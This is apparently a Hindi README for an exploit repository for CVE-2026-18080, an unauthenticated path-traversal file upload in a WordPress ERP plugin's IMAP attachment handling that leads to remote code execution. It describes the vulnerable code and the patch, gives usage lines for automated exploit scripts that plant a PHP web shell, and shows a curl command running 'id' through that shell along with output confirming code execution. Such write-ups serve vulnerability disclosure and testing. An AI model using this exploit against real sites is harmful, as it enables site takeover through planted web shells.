
CVE-2026-18080 के लिए एक्सप्लॉइट, ERP Complete HR, Accounting & CRM Suite में अनधिकृत मनमाना फ़ाइल अपलोड जो RCE की ओर ले जाता है। स्वचालित शोषण के लिए Python और PHP स्क्रिप्ट शामिल हैं।
बिना प्रमाणीकरण के मनमाना फ़ाइल अपलोड CRM Email Connect IMAP अटैचमेंट के माध्यम से (Path Traversal → RCE)
| फ़ील्ड | मान |
|---|---|
| CVE | https://nvd.nist.gov/vuln/detail/CVE-2026-18080 |
| Wordfence | https://www.wordfence.com/threat-intel/vulnerabilities/id/b9d11eb9-5e18-459f-a9d4-cccb1d593402 |
| पैच | https://plugins.trac.wordpress.org/changeset/3656848/erp |
| CVSS | 9.8 (क्रिटिकल) |
| CWE | CWE-434 (खतरनाक प्रकार की फ़ाइल का अप्रतिबंधित अपलोड) |
| प्रभावित | ERP प्लगइन संस्करण <= 1.17.7 (1.17.8 में ठीक किया गया) |
ERP प्लगइन का GmailSync.php में save_attachments() फ़ंक्शन IMAP से आने वाले ईमेल अटैचमेंट को बिना पाथ नॉर्मलाइज़ेशन के प्रोसेस करता है। एक हमलावर ../../plugins/shell.php जैसे फ़ाइलनाम और प्लगइन के अपेक्षित पैटर्न से मेल खाते हुए नकली References हेडर वाला ईमेल तैयार कर सकता है। क्रॉन-आधारित IMAP सिंक जॉब फ़ाइल को .htaccess-सुरक्षित crm-attachments/ निर्देशिका के बाहर wp-content/ के अंतर्गत किसी भी लिखने योग्य पथ में लिख देता है।
GmailSync.php (v1.17.7) में:
$name = $item['name']; // कोई basename() या पाथ नॉर्मलाइज़ेशन नहीं
$file = wp_check_filetype( $item['name'] );
// ...
$saved = $wp_filesystem->put_contents( $dir . $name, $item['data'] );
फ़ाइलनाम ../../plugins/shell.php को $dir (wp-content/uploads/crm-attachments/) के साथ जोड़ने पर wp-content/plugins/shell.php प्राप्त होता है — एक ऐसी निर्देशिका जहाँ PHP निष्पादन की अनुमति है।
फिक्स (v1.17.8) में sanitize_attachment_filename() जोड़ा गया है जो basename() के माध्यम से निर्देशिका घटकों को हटाता है, पाथ सेपरेटर को अस्वीकार करता है, और खतरनाक एक्सटेंशन को ब्लॉक करता है।
python3 exploit.py -t https://wordpress.ddev.site
python3 exploit.py -t https://target.com --shell evil.php --path themes
python3 exploit.py -t https://target.com --phpinfo
सफल अपलोड के बाद:
curl -X POST -d 'cmd=id' 'https://target.com/wp-content/plugins/cve-2026-18080.php'
RESULT: [{"name":"../../plugins/cve-2026-18080.php","slug":"../../plugins/cve-2026-18080.php","path":".../crm-attachments/../../plugins/cve-2026-18080.php"}]
SUCCESS: wp-content/plugins/cve-2026-18080.php (57 bytes)
RCE: uid=1000(god) gid=1000(god)
| फ़ाइल | विवरण |
|---|---|
exploit.py | wp-cli का उपयोग करने वाली Python शोषण स्क्रिप्ट |
exploit.php | wp eval-file के लिए स्टैंडअलोन PHP शोषण |
README.md | यह फ़ाइल |